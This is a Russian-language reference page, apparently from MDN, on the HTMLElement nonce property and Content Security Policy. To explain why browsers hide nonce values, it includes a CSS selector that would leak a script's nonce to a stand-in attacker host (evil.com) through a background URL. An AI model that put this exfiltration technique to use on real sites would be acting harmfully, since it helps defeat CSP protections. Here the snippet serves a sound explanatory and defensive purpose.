HTMLElement: свойство nonce
Свойство nonce
интерфейса HTMLElement
возвращает одноразовый криптографический код, используемый Content Security Policy для определения возможности продолжения обработки запроса.
В современных реализациях элементы предоставляют свой атрибут nonce
только скриптам (но не CSS-селекторам, например).
Примеры
Получение значения nonce
В прошлом не все браузеры поддерживали IDL-атрибут nonce
, поэтому было распространено использование getAttribute
в качестве запасного варианта:
let nonce = script["nonce"] || script.getAttribute("nonce");
Современные браузеры не дают получить значения nonce
таким путём (будет возвращена пустая строка). IDL-свойство (script['nonce']
) является единственным способом получения nonce
.
Скрытие nonce
помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Спецификации
Specification |
---|
HTML Standard # dom-noncedelement-nonce |
Совместимость с браузерами
BCD tables only load in the browser